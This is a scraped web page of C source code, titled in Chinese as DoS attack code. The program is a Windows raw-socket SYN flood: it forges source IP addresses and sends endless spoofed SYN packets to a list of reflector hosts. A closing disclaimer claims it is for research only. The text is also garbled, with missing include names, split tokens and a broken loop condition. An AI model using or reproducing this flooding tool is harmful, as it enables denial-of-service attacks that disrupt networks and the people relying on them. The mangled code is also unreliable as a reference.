dos攻击代码#include#include#include#include#define SEQ 0x28376839#define NUM 7//反射服务器的个数#define FAKE_IP "192.168.0.6" //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段#define STATUS_FAILED 0xFFFF //错误返回值typedef struct _iphdr //定义IP首部{unsigned char h_verlen; //4位首部长度,4位IP版本号unsigned char tos; //8位服务类型TOSunsigned short total_len; //16位总长度（字节）unsigned short ident; //16位标识unsigned short frag_and_flags; //3位标志位unsigned char ttl; //8位生存时间 TTLunsigned char proto; //8位协议 (TCP, UDP 或其他)unsigned short checksum; //16位IP首部校验和unsigned int sourceIP; //32位源IP地址unsigned int destIP; //32位目的IP地址}IP_HEADER;struct //定义TCP伪首部{unsigned long saddr; //源地址unsigned long daddr; //目的地址char mbz;char ptcl; //协议类型unsigned short tcpl; //TCP长度}psd_header;typedef struct _tcphdr //定义TCP首部{USHORT th_sport; //16位源端口USHORT th_dport; //16位目的端口unsigned int th_seq; //32位序列号unsigned int th_ack; //32位确认号unsigned char th_lenres; //4位首部长度/6位保留字 unsigned char th_flag; //6位标志位USHORT th_win; //16位窗口大小USHORT th_sum; //16位校验和USHORT th_urp; //16位紧急数据偏移量}TCP_HEADER;//CheckSum:计算校验和的子函数USHORT checksum(USHORT *buffer, int size){unsigned long cksum=0;while(size >1) {cksum+=*buffer++;size -=sizeof(USHORT);}if(size ) {cksum += *(UCHAR*)buffer;}cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (USHORT)(~cksum);}// SynFlood主函数int main(){int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0,i=0;char SendBuf[128]={0};char RecvBuf[65535]={0};char * Syn_dest_ip[NUM-1];WSADATA wsaData;SOCKET SockRaw=(SOCKET)NULL;struct sockaddr_in DestAddr;IP_HEADER ip_header;TCP_HEADER tcp_header;//初始反射IP列表Syn_dest_ip[0]="192.168.0.99";Syn_dest_ip[1]="192.168.0.1";Syn_dest_ip[2]="192.168.0.2";Syn_dest_ip[3]="192.168.0.4";Syn_dest_ip[4]="192.168.0.5";Syn_dest_ip[5]="192.168.0.3";Syn_dest_ip[6]="192.168.0.7";//初始化SOCK_RAWif((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0 ){fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);ExitProcess(STATUS_FAILED);}SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,N ULL,0,WSA_FLAG_OV ERLAPPED);if (SockRaw==INVALID_SOCKET){fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());ExitProcess(STATUS_FAILED);}flag=TRUE;//设置IP_HDRINCL以自己填充IP首部ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(ch ar*)&flag,sizeof(int));if (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");__try{//设置发送超时ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIME O,(char*)&TimeO ut,sizeof(TimeOut));if(ErrorCode==SOCKET_ERROR){fprintf(stderr,"Failed to set sendTimeOut: %d\n",WSAGetLastError());__leave;}while(1){for(i=0;i<="">memset(&DestAddr,0,sizeof(DestAddr));DestAddr.sin_family=AF_INET;DestAddr.sin_addr.s_addr=inet_addr(Syn_dest_ip[i]);FakeIpNet=inet_addr(FAKE_IP);FakeIpHost=ntohl(FakeIpNet);//填充IP首部ip_header.h_verlen=(4<<4 |sizeof(ip_header)/sizeof(unsigned long));//高四位IP版本号，低四位首部长度ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节）ip_header.ident=1; //16位标识ip_header.frag_and_flags=0; //3位标志位ip_header.ttl=128; //8位生存时间TTLip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)ip_header.checksum=0; //16位IP首部校验和ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP 地址ip_header.destIP=inet_addr(Syn_dest_ip[i]); //32位目的IP 地址//填充TCP首部tcp_header.th_sport=htons(7000); //源端口号tcp_header.th_dport=htons(8080); //目的端口号tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号tcp_header.th_ack=0; //ACK序列号置为0tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP 长度和保留位tcp_header.th_flag=2; //SYN 标志tcp_header.th_win=htons(16384); //窗口大小tcp_header.th_urp=0; //偏移tcp_header.th_sum=0; //校验和//填充TCP伪首部（用于计算校验和，并不真正发送）psd_header.saddr=ip_header.sourceIP; //源地址psd_header.daddr=ip_header.destIP; //目的地址psd_header.mbz=0;psd_header.ptcl=IPPROTO_TCP; //协议类型psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度//每发送10,24个报文输出一个标示符printf(".");for(counter=0;counter<1024;counter++){if(SendSEQ++==65536) SendSEQ=1; //序列号循环//更改IP首部ip_header.checksum=0; //16位IP首部校验和ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址//更改TCP首部tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号tcp_header.th_sum=0; //校验和//更改TCP Pseudo Headerpsd_header.saddr=ip_header.sourceIP;//计算TCP校验和，计算校验和时需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header));memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof( t cp_header));tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));//计算IP校验和memcpy(SendBuf,&ip_header,sizeof(ip_header));memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0 ,4);datasize=sizeof(ip_header)+sizeof(tcp_header);ip_header.checksum=checksum((USHORT*)SendBuf,datasize);//填充发送缓冲区memcpy(SendBuf,&ip_header,sizeof(ip_header));//发送TCP报文ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());}//End of for}//End of for}//End of while}//End of try__finally {if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);WSACleanup();}return 0;}程序只用于研究学习，请勿用于非法用途，法网恢恢，出来混迟早要还的，自重。
